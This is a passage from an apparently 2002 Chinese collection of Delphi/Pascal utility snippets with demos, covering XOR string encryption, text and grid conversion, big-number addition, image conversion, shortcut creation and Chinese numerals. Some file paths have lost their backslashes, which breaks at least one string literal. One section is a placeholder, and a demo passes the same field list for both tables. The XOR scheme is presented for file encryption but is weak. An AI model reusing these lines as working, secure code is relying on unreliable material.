Caption := EditVisibleText(Edit1);

end;

////////End Demo


字符串加密;pascal字符表示
(*//

标题:字符串加密;pascal字符表示

说明:应用于文件加密

设计:Zswang

日期:2002-02-19

支持:wjhu111@21cn.com

//*)

///////Begin Source

function StringToDisplay(mString: string): string;

var

I: Integer;

S: string;

begin

Result := '';

S := '';

for I := 1 to Length(mString) do

if mString[I] in [#32..#127] then

S := S + mString[I]

else begin

if S <> '' then begin

Result := Result + QuotedStr(S);

S := '';

end;

Result := Result + Format('#$%x', [Ord(mString[I])]);

end;

if S <> '' then Result := Result + QuotedStr(S);

end; { StringToDisplay }

function DisplayToString(mDisplay: string): string;

var

I: Integer;

S: string;

B: Boolean;

begin

Result := '';

B := False;

mDisplay := mDisplay;

for I := 1 to Length(mDisplay) do

if B then case mDisplay[I] of

'''': begin

if S <> '' then Result := Result + StringReplace(S, '''''', '''', [rfReplaceAll]);

if Copy(mDisplay, I + 1, 1) = '''' then Result := Result + '''';

S := '';

B := False;

end;

else S := S + mDisplay[I];

end

else case mDisplay[I] of

'#', '''': begin

if S <> '' then Result := Result + Chr(StrToIntDef(S, 0));

S := '';

B := mDisplay[I] = '''';

end;

'$', '0'..'9', 'a'..'f', 'A'..'F': S := S + mDisplay[I];

end;

if (not B) and (S <> '') then Result := Result + Chr(StrToIntDef(S, 0));

end; { DisplayToString }

function StringEncrypt(mStr: string; mKey: string): string;

var

I, J: Integer;

begin

J := 1;

Result := '';

for I := 1 to Length(mStr) do begin

Result := Result + Char(Ord(mStr[I]) xor Ord(mKey[J]));

if J + 1 <= Length(mKey) then

Inc(J)

else J := 1;

end;

{ 自己加步骤 }

end; { StringEncrypt }

function StringDecrypt(mStr: string; mKey: string): string;

var

I, J: Integer;

begin

J := 1;

Result := '';

{ 自己加步骤 }

for I := 1 to Length(mStr) do begin

Result := Result + Char(Ord(mStr[I]) xor Ord(mKey[J]));

if J + 1 <= Length(mKey) then

Inc(J)

else J := 1;

end;

end; { StringDecrypt }

///////End Source

///////Begin Demo

const

cKey = '给你这一把钥匙,只能打开这一把锁';

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo2.Text := StringToDisplay(StringEncrypt(Memo1.Text, cKey));

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Memo1.Text := StringDecrypt(DisplayToString(Memo2.Text), cKey);

end;

///////End Demo


字符网格和文本间转换
(*//

标题:字符网格和文本间转换

说明:StringGrid

设计:Zswang

日期:2002-02-21

支持:wjhu111@21cn.com

//*)

///////Begin Source

uses

Math;

function StrLeft(const mStr: string; mDelimiter: string): string;

begin

Result := Copy(mStr, 1, Pos(mDelimiter, mStr) - 1);

end; { StrLeft }

function ListValue(mList: string; mIndex: Integer; mDelimiter: string = ','): string;

var

I, L, K: Integer;

begin

L := Length(mList);

I := Pos(mDelimiter, mList);

K := 0;

Result := '';

while (I > 0) and (K <> mIndex) do begin

mList := Copy(mList, I + Length(mDelimiter), L);

I := Pos(mDelimiter, mList);

Inc(K);

end;

if K = mIndex then Result := StrLeft(mList + mDelimiter, mDelimiter);

end; { ListValue }

function StringGridToText(mStringGrid: TStringGrid;

mStrings: TStrings): Boolean;

var

I, J: Integer;

T: string;

begin

Result := False;

if (not Assigned(mStringGrid)) or (not Assigned(mStrings)) then Exit;

with mStringGrid do try

mStrings.Clear;

for J := 0 to RowCount - 1 do begin

T := '';

for I := 0 to ColCount - 1 do

T := T + #9 + Cells[I, J];

Delete(T, 1, 1);

mStrings.Add(T);

end;

except

Exit;

end;

Result := True;

end; { StringGridToText }

function TextToStringGrid(mStrings: TStrings;

mStringGrid: TStringGrid): Boolean;

var

I, J: Integer;

T: string;

begin

Result := False;

if (not Assigned(mStringGrid)) or (not Assigned(mStrings)) then Exit;

with mStrings, mStringGrid do try

for I := 0 to ColCount - 1 do begin

T := '';

for J := 0 to Min(RowCount - 1, Count - 1) do

Cells[I, J] := ListValue(Strings[J], I, #9);

end;

except

Exit;

end;

Result := True;

end; { TextToStringGrid }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

StringGridToText(StringGrid1, Memo1.Lines);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

TextToStringGrid(Memo1.Lines, StringGrid1);

end;

///////End Demo


无限位数加法
(*//

标题:无限位数加法

说明:支持小数情况;不支持负数

设计:Zswang

日期:2002-01-26

支持:wjhu111@21cn.com

//*)

///////Begin Source

uses

Math, StrUtils;

function StrLeft(const mStr: string; mDelimiter: string): string;

{ 返回左分隔字符 }

begin

Result := Copy(mStr, 1, Pos(mDelimiter, mStr) - 1);

end; { StrLeft }

function StrRight(const mStr: string; mDelimiter: string): string;

{ 返回右分隔字符 }

begin

if Pos(mDelimiter, mStr) <= 0 then

Result := ''

else Result := Copy(mStr, Pos(mDelimiter, mStr) + Length(mDelimiter), MaxInt);

end; { StrRight }

function InfiniteAdd(mNumberA, mNumberB: string): string;

{ 返回大数和,包括小数情况 }

var

I: Integer;

T: Integer;

begin

Result := '';

if Pos('.', mNumberA) <= 0 then mNumberA := mNumberA + '.'; //没有有小数点补小数点

if Pos('.', mNumberB) <= 0 then mNumberB := mNumberB + '.'; //没有有小数点补小数点

I := Max(Length(StrLeft(mNumberA, '.')), Length(StrLeft(mNumberB, '.'))); //整数部分最大长度

mNumberA := DupeString('0', I - Length(StrLeft(mNumberA, '.'))) + mNumberA; //整数前补0

mNumberB := DupeString('0', I - Length(StrLeft(mNumberB, '.'))) + mNumberB; //整数前补0

T := Max(Length(StrRight(mNumberA, '.')), Length(StrRight(mNumberB, '.'))); //小数部分最大长度

mNumberA := mNumberA + DupeString('0', T - Length(StrRight(mNumberA, '.'))); //小数后补0

mNumberB := mNumberB + DupeString('0', T - Length(StrRight(mNumberB, '.'))); //小数后补0

I := I + T + 1; //计算总长度//小数长度和整数长度加上小数点长度

T := 0; //进位数初始化

for I := I downto 1 do //从后向前扫描

if [mNumberA[I], mNumberB[I]] <> ['.'] then begin //不是小数点时

T := StrToIntDef(mNumberA[I], 0) + T; //累加当前数位

T := StrToIntDef(mNumberB[I], 0) + T; //累加当前数位

Result := IntToStr(T mod 10) + Result; //计算当前数位上的数字

T := T div 10; //计算进位数

end else Result := '.' + Result; //加上小数点

if T <> 0 then Result := IntToStr(T mod 10) + Result; //处理进位数

while Pos('0', Result) = 1 do Delete(Result, 1, 1); //排除整数前无效的0

while Copy(Result, Length(Result), 1) = '0' do

Delete(Result, Length(Result), 1); //排除小数后无效的0

if Copy(Result, Length(Result), 1) = '.' then

Delete(Result, Length(Result), 1); //排除无效小数点

if Copy(Result, 1, 1) = '.' then Result := '0' + Result; //处理无0小数情况

if (Result = '') then Result := '0'; //处理空字符情况

end; { InfiniteAdd }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

Edit1.Text := InfiniteAdd(Edit2.Text, Edit3.Text);

end;

///////End Demo


判断两个变体值是否相等
(*//

标题:判断两个变体值是否相等

说明:可以用来检查不同数据集记录值是否相同

设计:Zswang

日期:2002-01-26

支持:wjhu111@21cn.com

//*)

///////Begin Source

function VarIsEqual(mVar1, mVar2: Variant): Boolean; { 返回两个变体值是否相等 }

var

vType1, vType2: TVarType;

I: Integer;

vVarLow1, vVarLow2: Integer;

vVarHigh1, vVarHigh2: Integer;

begin

Result := False;

vType1 := VarType(mVar1);

vType2 := VarType(mVar2);

if vType1 <> vType2 then Exit;

if vType1 and varArray <> 0 then begin

vVarLow1 := VarArrayLowBound(mVar1, VarArrayDimCount(mVar1));

vVarLow2 := VarArrayLowBound(mVar2, VarArrayDimCount(mVar2));

if vVarLow1 <> vVarLow2 then Exit;

vVarHigh1 := VarArrayHighBound(mVar1, VarArrayDimCount(mVar1));

vVarHigh2 := VarArrayHighBound(mVar2, VarArrayDimCount(mVar2));

if vVarHigh1 <> vVarHigh2 then Exit;

for I := vVarLow1 to vVarHigh1 do

if not VarIsEqual(mVar1[I], mVar2[I]) then Exit;

Result := True;

end else Result := VarCompareValue(mVar1, mVar2) = vrEqual;

end; { VarIsEqual }

///////EndSource

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

var

vFields1: string;

vFields2: string;

begin

vFields1 :=

StringReplace(Trim(Table1.FieldList.Text), #13#10, ';', [rfReplaceAll]);

vFields2 :=

StringReplace(Trim(Table2.FieldList.Text), #13#10, ';', [rfReplaceAll]);

CheckBox1.Checked := VarIsEqual(Table1[vFields1], Table2[vFields1]);

end;

///////End Demo


制作三维立体画
(*//

标题:制作三维立体画

说明:再老也算是个函数吧

设计:Zswang

日期:2002-01-26

支持:wjhu111@21cn.com

//*)

///////Begin Source

type

TRecordLevel = record

rColor: TColor;

rLevel: Byte;

end;

procedure Picture3D(mBitmap3D, mBitmap2D, mBitmapMask: TBitmap;

mLevelList: array of TRecordLevel); { 制作三维立体画 }

var

X, Y, I, J, W: Integer;

vColor: TColor;

begin

mBitmap3D.Assign(nil);

W := mBitmapMask.Width;

mBitmap3D.Width := W * Succ(mBitmap2D.Width div W);

mBitmap3D.Height := mBitmap2D.Height;

mBitmap3D.Canvas.Draw(0, 0, mBitmapMask);

for I := 0 to (mBitmap2D.Width div W) do begin

for Y := 0 to mBitmapMask.Height - 1 do begin

for X := 0 to Pred(W) do begin

vColor := mBitmap2D.Canvas.Pixels[X + W * I, Y];

for J := Low(mLevelList) to High(mLevelList) do

if mLevelList[J].rColor = vColor then begin

if X + mLevelList[J].rLevel >= W then

mBitmapMask.Canvas.Pixels[X, Y]

:= mBitmapMask.Canvas.Pixels[X + mLevelList[J].rLevel - W, Y]

else

mBitmapMask.Canvas.Pixels[X, Y]

:= mBitmapMask.Canvas.Pixels[X + mLevelList[J].rLevel, Y];

Break;

end;

end;

end;

mBitmap3D.Canvas.Draw(W * Succ(I), 0, mBitmapMask);

end;

end; { Picture3D }

///////End Source

///////Begin Demo

const

cLevelCount = 6;

cLevelList: array[0 .. Pred(cLevelCount)] of TRecordLevel =

(

(rColor: clWhite; rLevel: 0),

(rColor: clRed; rLevel: 1),

(rColor: clBlue; rLevel: 2),

(rColor: clYellow; rLevel: 3),

(rColor: clGreen; rLevel: 4),

(rColor: clBlack; rLevel: 5)

);

procedure TForm1.Button1Click(Sender: TObject);

begin

Picture3D(Image3D.Picture.Bitmap, Image2D.Picture.Bitmap,

ImageMask.Picture.Bitmap, cLevelList);

end;

///////End Demo

**********************************************

(*//

标题:制作红绿眼镜三维立体画

说明:算法虽然简单,但回味无穷;特别致谢Kiss2提出这个问题

设计:Zswang

日期:2002-04-05

支持:wjhu111@21cn.com

//*)

///////Begin Source

function RedGreen3D(mBitmapLeft: TBitmap; mBitmapRight: TBitmap;

mBitmap3D: TBitmap): Boolean;

var

vRect: TRect;

vGreen, vRed: TColor;

begin

Result := False;

if not Assigned(mBitmapLeft) then Exit;

if not Assigned(mBitmapRight) then Exit;

if not Assigned(mBitmap3D) then Exit;

vRed := clRed;

vGreen := vRed xor $FFFFFF;

try

mBitmap3D.Width := mBitmapLeft.Width;

mBitmap3D.Height := mBitmapLeft.Height;

vRect := Rect(0, 0, mBitmap3D.Width, mBitmap3D.Height);

mBitmap3D.Canvas.Brush.Color := vGreen;

mBitmap3D.Canvas.FillRect(vRect);

mBitmapLeft.Canvas.CopyMode := cmSrcPaint;

mBitmapLeft.Canvas.CopyRect(vRect, mBitmap3D.Canvas, vRect);

mBitmap3D.Canvas.Brush.Color := vRed;

mBitmap3D.Canvas.FillRect(vRect);

mBitmapRight.Canvas.CopyMode := cmSrcPaint;

mBitmapRight.Canvas.CopyRect(vRect, mBitmap3D.Canvas, vRect);

mBitmap3D.Canvas.CopyRect(vRect, mBitmapLeft.Canvas, vRect);

mBitmap3D.Canvas.CopyMode := cmSrcAnd;

mBitmap3D.Canvas.CopyRect(vRect, mBitmapRight.Canvas, vRect);

except

Exit;

end;

Result := True;

end; { RedGreen3D }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

//Image1左眼视角位图

//Image2右眼视角位图

//Image3三维立体位画

RedGreen3D(Image1.Picture.Bitmap, Image2.Picture.Bitmap, Image3.Picture.Bitmap);

end;

///////End Demo


不完全输入
(*//

标题:不完全输入

说明:Edit、ComboBox自动匹配输入字符;正好弥补Delphi6.0不支持中文不完全输入

设计:Zswang

日期:2002-01-26

支持:wjhu111@21cn.com

//*)

///////Begin Source

function EditComplete(mEdit: TEdit; mItems: TStrings;

mCase: Boolean = True): Boolean;

var

I, T: Integer;

vSubStr, S: string;

begin

Result := False;

if (not Assigned(mEdit)) or (not Assigned(mItems)) then Exit;

vSubStr := mEdit.Text;

if not mCase then vSubStr := UpperCase(vSubStr);

for I := 0 to Pred(mItems.Count) do begin

S := mItems[I];

if not mCase then S := UpperCase(S);

if (Pos(vSubStr, S) = 1) and (vSubStr <> S) then begin

T := Length(vSubStr);

mEdit.Text := mItems[I];

mEdit.SelStart := T;

mEdit.SelLength := Length(mItems[I]) - T;

Result := True;

Break;

end;

end;

end; { EditComplete }

function ComboBoxComplete(mComboBox: TComboBox; mCase: Boolean = True): Boolean;

var

I, T: Integer;

vSubStr, S: string;

begin

Result := False;

if not Assigned(mComboBox) then Exit;

vSubStr := mComboBox.Text;

if not mCase then vSubStr := UpperCase(vSubStr);

for I := 0 to Pred(mComboBox.Items.Count) do begin

S := mComboBox.Items[I];

if not mCase then S := UpperCase(S);

if (Pos(vSubStr, S) = 1) and (vSubStr <> S) then begin

T := Length(vSubStr);

mComboBox.Text := mComboBox.Items[I];

mComboBox.SelStart := T;

mComboBox.SelLength := Length(mComboBox.Items[I]) - T;

Result := True;

Break;

end;

end;

end; { EditComplete }

///////End Source

///////Begin Demo

procedure TForm1.Edit1KeyUp(Sender: TObject; var Key: Word;

Shift: TShiftState);

begin

case Key of

VK_BACK, VK_DELETE, VK_LEFT, VK_RIGHT, VK_DOWN, VK_UP: ;

else EditComplete(TEdit(Sender), Memo1.Lines, False);

end;

end;

procedure TForm1.ComboBox1KeyUp(Sender: TObject; var Key: Word;

Shift: TShiftState);

begin

case Key of

VK_BACK, VK_DELETE, VK_LEFT, VK_RIGHT, VK_DOWN, VK_UP: ;

else ComboBoxComplete(TComboBox(Sender), False);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

ComboBox1.AutoComplete := False; //for Delphi6.0

end;

procedure TForm1.Memo1Change(Sender: TObject);

begin

ComboBox1.Items.Text := TMemo(Sender).Text;

end;

///////End Demo


鼠标移动到窗体控件中部位置
(*//

标题:鼠标移动到窗体控件中部位置

说明:可以使控件焦点和鼠标位置保持一致

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

///////Begin Source

function MoveMouseToWindow(mHandle: THandle): Boolean; overload;

{ 返回将鼠标移动到窗体控件中部位置上是否成功 }

var

vRect: TRect;

begin

Result := False;

if not IsWindow(mHandle) then Exit;

GetWindowRect(mHandle, vRect);

Mouse.CursorPos := Point(vRect.Left + (vRect.Right - vRect.Left) div 2,

vRect.Top + (vRect.Bottom - vRect.Top) div 2);

Result := True;

end; { MoveMouseToWindow }

function MoveMouseToWindow(mWinControl: TWinControl): Boolean; overload;

{ 返回将鼠标移动到窗体控件中部位置上是否成功 }

begin

Result := False;

if not Assigned(mWinControl) then Exit;

Result := MoveMouseToWindow(mWinControl.Handle);

end; { MoveMouseToWindow }

///////End Source

///////Begin Demo

procedure TForm1.Timer1Timer(Sender: TObject);

begin

MoveMouseToWindow(ActiveControl);

end;

///////End Demo


获取字符模
(*//

标题:获取字符模

说明:用于除掉源代码的注释等

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

///////Begin Source

type

TModalStr = record

rBegin: string;

rEnd: string;

rAppend: string;

rSingle: Byte;

end;

const

cPascalCount = 5;

cPascalList: array[0 .. Pred(cPascalCount)] of TModalStr =

(

(rBegin: ''''; rEnd: ''''; rAppend: ''; rSingle: 1),

(rBegin: '{$'; rEnd: '}'; rAppend: ''; rSingle: 2),

(rBegin: '{'; rEnd: '}'; rAppend: ''; rSingle: 3),

(rBegin: '(*'; rEnd: '*)'; rAppend: ''; rSingle: 4),

(rBegin: '//'; rEnd: #13#10; rAppend: #13#10; rSingle: 5)

);

const

cSQLCount = 4;

cSQLList: array[0 .. Pred(cSQLCount)] of TModalStr =

(

(rBegin: ''''; rEnd: ''''; rAppend: ''; rSingle: 1),

(rBegin: '"'; rEnd: '"'; rAppend: ''; rSingle: 2),

(rBegin: '/*'; rEnd: '*/'; rAppend: ''; rSingle: 3),

(rBegin: '--'; rEnd: #13#10; rAppend: #13#10; rSingle: 4)

);

function GetModalStr(mStr: string; mModalStrList: array of TModalStr;

mSingles: TIntegerSet): string;

var { 返回获取字符模 }

vSingle: Integer;

I, J: Integer;

T, K: Integer;

vEnd: string;

vAppend: string;

begin

Result := '';

vSingle := 0;

T := 0;

K := 0;

for I := 1 to Length(mStr) do begin

if T > 1 then begin

Dec(T);

Continue;

end;

if vSingle = 0 then begin

vEnd := '';

for J := Low(mModalStrList) to High(mModalStrList) do begin

K := Length(mModalStrList[J].rBegin);

if Copy(mStr, I, K) = mModalStrList[J].rBegin then begin

vEnd := mModalStrList[J].rEnd;

vAppend := mModalStrList[J].rAppend;

vSingle := mModalStrList[J].rSingle;

if vSingle in mSingles then

Result := Result + mModalStrList[J].rBegin;

T := K;

K := Length(vEnd);

Break;

end;

end;

if (vEnd = '') and (vSingle in mSingles) then

Result := Result + mStr[I];

end else if Copy(mStr, I, K) = vEnd then begin

if vSingle in mSingles then

Result := Result + vEnd

else Result := Result + vAppend;

vSingle := 0;

T := K;

end else if vSingle in mSingles then

Result := Result + mStr[I];

end;

end; { GetModalStr }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.Text := GetModalStr(Memo1.Text, cPascalList, [0, 1, 2]);

Memo2.Text := GetModalStr(Memo2.Text, cSQLList, [0, 1, 2]);

end;

///////End Demo


创建快捷方式;获取系统文件或系统目录
(*//

标题:创建快捷方式;获取系统文件或系统目录

说明:参考Kingron资料中“如何取得某些特殊文件夹路径”

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

///////Begin Source

uses

ShlObj, ActiveX, ComObj;

function GetSpecialFolderDir(mFolder: Integer): string;

{ 返回获取系统文件或系统目录 }

(*

CSIDL_BITBUCKET * 回收站

CSIDL_CONTROLS * 控制面板

CSIDL_DESKTOP * 桌面

CSIDL_DESKTOPDIRECTORY 桌面目录 //如C:

CSIDL_DRIVES * 我的电脑

CSIDL_FONTS 字体 //如C:

CSIDL_NETHOOD 网上邻居目录 //如C:

CSIDL_NETWORK * 网上邻居

CSIDL_PERSONAL 我的文档 //如C:Documents

CSIDL_PRINTERS * 打印机

CSIDL_PROGRAMS 程序组 //如C:Menu

CSIDL_RECENT 最近文档 //如C:

CSIDL_SENDTO 发送到 //如C:

CSIDL_STARTMENU 开始菜单 //如C:Menu

CSIDL_STARTUP 启动 //如C:\u21551启动

CSIDL_TEMPLATES 模版 //如C:

*)

var

vItemIDList: PItemIDList;

vBuffer: array[0..MAX_PATH] of Char;

begin

SHGetSpecialFolderLocation(0, mFolder, vItemIDList);

SHGetPathFromIDList(vItemIDList, vBuffer); //转换成文件系统的路径

Result := vBuffer;

end; { GetSpecialFolderDir }

function CreateShellLink(mPath: string; mWorkingDirectory: string;

mFileName: WideString): Boolean; { 返回创建快捷方式是否成功 }

var

vShellLink: IShellLink;

vPersistFile: IPersistFile;

vUnKnown: IUnKnown;

begin

Result := True;

try

vUnKnown := CreateComObject(CLSID_ShellLink);

vShellLink := vUnKnown as IShellLink;

vPersistFile := vUnKnown as IPersistFile;

vShellLink.SetPath(PChar(mPath));

vShellLink.SetWorkingDirectory(PChar(mWorkingDirectory));

vPersistFile.Save(PWChar(mFileName), False);

except

Result := False;

end;

end; { CreateShellLink }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

CreateShellLink(ParamStr(0), ExtractFilePath(ParamStr(0)),

GetSpecialFolderDir(CSIDL_DESKTOPDIRECTORY) + ' +

ChangeFileExt(ExtractFileName(ParamStr(0)), '.lnk'));

end;

///////End Demo


图片之间互相转换
(*//

标题:图片之间互相转换

说明:支持Icon,Jpeg,Bmp格式

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

///////Begin Source

uses

jpeg;

function BmpToIco(mBitmap: TBitmap; mIcon: TIcon;

mSize32: Boolean = True): Boolean;

var

vIconWidth: Integer;

vIconHeight: Integer;

vBitmapMask: TBitmap;

vBitmapColor: TBitmap;

vIconInfo: TIconInfo;

begin

Result := True;

if mSize32 then begin

vIconWidth := 32;

vIconHeight := 32;

end else begin

vIconWidth := 16;

vIconHeight := 16;

end;

vBitmapMask := TBitmap.Create;

vBitmapColor := TBitmap.Create;

try

vBitmapMask.Width := vIconWidth;

vBitmapMask.Height := vIconHeight;

vBitmapMask.Canvas.Brush.Color := clBlack;

vBitmapMask.Canvas.Rectangle(0, 0, vIconWidth, vIconHeight);

vBitmapColor.Width := vIconWidth;

vBitmapColor.Height := vIconHeight;

StretchBlt(vBitmapColor.Canvas.Handle, 0, 0, vIconWidth, vIconHeight,

mBitmap.Canvas.Handle, 0, 0, mBitmap.Width, mBitmap.Height, SRCCOPY);

vIconInfo.fIcon := True;

vIconInfo.xHotspot := 0;

vIconInfo.yHotspot := 0;

vIconInfo.hbmMask := vBitmapMask.Handle;

vIconInfo.hbmColor := vBitmapColor.Handle;

mIcon.Handle := CreateIconIndirect(vIconInfo);

except

Result := False;

end;

vBitmapMask.Free;

vBitmapColor.Free;

end; { BmpToIco }

function IcoToBmp(mIcon: TIcon; mBitmap: TBitmap): Boolean;

var

vIconWidth: Integer;

vIconHeight: Integer;

begin

Result := True;

try

vIconWidth := mIcon.Width;

vIconHeight := mIcon.Height;

mBitmap.Width := vIconWidth;

mBitmap.Height := vIconHeight;

mBitmap.Canvas.FillRect(Rect(0, 0, vIconWidth, vIconHeight));

mBitmap.Canvas.Draw(0, 0, mIcon);

except

Result := False;

end;

end; { IcoToBmp }

function JpegToBmp(mJPEGImage: TJPEGImage; mBitmap: TBitmap): Boolean;

begin

Result := True;

try

mBitmap.Assign(mJPEGImage);

except

Result := False;

end;

end; { JpegToBmp }

function BmpToJpeg(mBitmap: TBitmap; mJPEGImage: TJPEGImage;

mCompressionQuality: Integer = 75): Boolean;

begin

Result := True;

try

mJPEGImage.Assign(mBitmap);

mJPEGImage.CompressionQuality := mCompressionQuality;

mJPEGImage.Compress;

except

Result := False;

end;

end; { BmpToJpeg }

///////End Source

///////Begin Demo

procedure TForm1.Button7Click(Sender: TObject);

var

vJPEGImage: TJPEGImage;

begin

if RadioButton1.Checked then begin

vJPEGImage := TJPEGImage.Create;

try

Image2.Picture.Icon.Assign(nil);

TJPEGImage(Image3.Picture).Assign(nil);

BmpToIco(Image1.Picture.Bitmap, Image2.Picture.Icon, CheckBox1.Checked);

BmpToJpeg(Image1.Picture.Bitmap, vJPEGImage, SpinEdit1.Value);

TJPEGImage(Image3.Picture).Assign(vJPEGImage);

finally

vJPEGImage.Free;

end;

end else if RadioButton2.Checked then begin

vJPEGImage := TJPEGImage.Create;

try

Image1.Picture.Bitmap.Assign(nil);

TJPEGImage(Image3.Picture).Assign(nil);

IcoToBmp(Image2.Picture.Icon, Image1.Picture.Bitmap);

BmpToJpeg(Image1.Picture.Bitmap, vJPEGImage, SpinEdit1.Value);

TJPEGImage(Image3.Picture).Assign(vJPEGImage);

finally

vJPEGImage.Free;

end;

end else begin

vJPEGImage := TJPEGImage.Create;

try

vJPEGImage.Assign(TJPEGImage(Image3.Picture));

Image1.Picture.Bitmap.Assign(nil);

Image2.Picture.Icon.Assign(nil);

JpegToBmp(vJPEGImage, Image1.Picture.Bitmap);

BmpToIco(Image1.Picture.Bitmap, Image2.Picture.Icon, CheckBox1.Checked);

finally

vJPEGImage.Free;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if OpenPictureDialog1.Execute then

Image1.Picture.Bitmap.LoadFromFile(OpenPictureDialog1.FileName);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if SavePictureDialog1.Execute then

Image1.Picture.Bitmap.SaveToFile(SavePictureDialog1.FileName);

end;

procedure TForm1.Button4Click(Sender: TObject);

begin

if OpenPictureDialog2.Execute then

Image2.Picture.Icon.LoadFromFile(OpenPictureDialog2.FileName);

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

if SavePictureDialog2.Execute then

Image2.Picture.Icon.SaveToFile(SavePictureDialog2.FileName);

end;

procedure TForm1.Button6Click(Sender: TObject);

begin

if OpenPictureDialog3.Execute then

Image3.Picture.LoadFromFile(OpenPictureDialog3.FileName);

end;

procedure TForm1.Button5Click(Sender: TObject);

begin

if SavePictureDialog3.Execute then

Image3.Picture.SaveToFile(SavePictureDialog3.FileName);

end;

///////End Demo


充分利用pascal字符串类型
(*//

标题:充分利用pascal字符串类型

说明:和PChar不同,string可以保存#0字符在其中;示例文件、内存流字符串之间转换

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

///////Begin Source

function StringToFile(mString: string; mFileName: TFileName): Boolean;

{ 返回字符串保存到文件是否成功 }

var

vFileChar: file of Char;

I: Integer;

begin

{$I-}

AssignFile(vFileChar, mFileName);

Rewrite(vFileChar);

for I := 1 to Length(mString) do Write(vFileChar, mString[I]);

CloseFile(vFileChar);

{$I+}

Result := (IOResult = 0) and (mFileName <> '');

end; { StringToFile }

function FileToString(mFileName: TFileName): string;

{ 返回从文件载入字符串 }

var

vFileChar: file of Char;

vChar: Char;

begin

Result := '';

{$I-}

AssignFile(vFileChar, mFileName);

Reset(vFileChar);

while not Eof(vFileChar) do begin

Read(vFileChar, vChar);

Result := Result + vChar;

end;

CloseFile(vFileChar);

{$I+}

end; { FileToString }

function StreamToString(mStream: TStream): string;

{ 将内存流转换成字符串 }

var

I: Integer;

begin

Result := '';

if not Assigned(mStream) then Exit;

SetLength(Result, mStream.Size);

for I := 0 to Pred(mStream.Size) do try

mStream.Position := I;

mStream.Read(Result[Succ(I)], 1);

except

Result := '';

end;

end; { StreamToString }

function StringToStream(mString: string; mStream: TStream): Boolean;

{ 返回将字符串保存到内存流是否成功 }

var

I: Integer;

begin

Result := True;

try

mStream.Size := 0;

mStream.Position := 0;

for I := 1 to Length(mString) do mStream.Write(mString[I], 1);

except

Result := False;

end;

end; { StringToStream }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

var

vMemoryStream: TMemoryStream;

begin

Memo1.Text := FileToString('C:1.txt');

vMemoryStream := TMemoryStream.Create;

try

Memo1.Lines.SaveToStream(vMemoryStream);

Memo2.Text := StreamToString(vMemoryStream);

finally

vMemoryStream.Free;

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

var

vMemoryStream: TMemoryStream;

begin

StringToFile(Memo2.Text, 'C:1.txt');

vMemoryStream := TMemoryStream.Create;

try

StringToStream(Memo2.Text, vMemoryStream);

vMemoryStream.Position := 0;

Memo1.Lines.LoadFromStream(vMemoryStream);

finally

vMemoryStream.Free;

end;

end;

///////End Demo


目录转换成菜单项;获取系统图标

DDDDDDD


中文数字表达
(*//

标题:中文数字表达

说明:普通方式和货币方式;和其它算法思路不一样;建议参考比较一下

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

///////Begin Source

function NumberCn(mNumber: Real): WideString;

const

cPointCn: WideString = '点十百千万十百千亿十百千';

cNumberCn: WideString = '零一二三四五六七八九';

var

I, L, P: Integer;

S: string;

begin

Result := '';

if mNumber = 0 then begin

Result := cNumberCn[1];

Exit;

end;

S := FloatToStr(mNumber);

if Pos('.', S) <= 0 then S := S + '.';

P := Pos('.', S);

L := Length(S);

for I := 1 to L do

if P > I then

Result := Result + cNumberCn[StrToInt(S[I]) + 1] + cPointCn[P - I]

else if P = I then begin

Result := StringReplace(Result, '零十零', '零', [rfReplaceAll]);

Result := StringReplace(Result, '零百零', '零', [rfReplaceAll]);

Result := StringReplace(Result, '零千零', '零', [rfReplaceAll]);

Result := StringReplace(Result, '零十', '零', [rfReplaceAll]);

Result := StringReplace(Result, '零百', '零', [rfReplaceAll]);

Result := StringReplace(Result, '零千', '零', [rfReplaceAll]);

Result := StringReplace(Result, '零万', '万', [rfReplaceAll]);

Result := StringReplace(Result, '零亿', '亿', [rfReplaceAll]);

Result := StringReplace(Result, '亿万', '亿', [rfReplaceAll]);

Result := StringReplace(Result, '零点', '点', [rfReplaceAll]);

end else if P < I then

Result := Result + cNumberCn[StrToInt(S[I]) + 1];

if Result[Length(Result)] = cPointCn[1] then

Result := Copy(Result, 1, Length(Result) - 1);

if Result[1] = cPointCn[1] then Result := cNumberCn[1] + Result;

if (Length(Result) > 1) and (Result[2] = cPointCn[2]) and

(Result[1] = cNumberCn[2]) then

Delete(Result, 1, 1);

end; { NumberCn }

function MoneyCn(mMoney: Real): WideString;

var

P: Integer;

begin

if mMoney = 0 then begin

Result := '无';

Exit;

end;

Result := NumberCn(Round(mMoney * 100) / 100);

Result := StringReplace(Result, '一', '壹', [rfReplaceAll]);

Result := StringReplace(Result, '二', '贰', [rfReplaceAll]);

Result := StringReplace(Result, '三', '叁', [rfReplaceAll]);

Result := StringReplace(Result, '四', '肆', [rfReplaceAll]);

Result := StringReplace(Result, '五', '伍', [rfReplaceAll]);

Result := StringReplace(Result, '六', '陆', [rfReplaceAll]);

Result := StringReplace(Result, '七', '柒', [rfReplaceAll]);

Result := StringReplace(Result, '八', '捌', [rfReplaceAll]);

Result := StringReplace(Result, '九', '玖', [rfReplaceAll]);

Result := StringReplace(Result, '九', '玖', [rfReplaceAll]);

Result := StringReplace(Result, '十', '拾', [rfReplaceAll]);

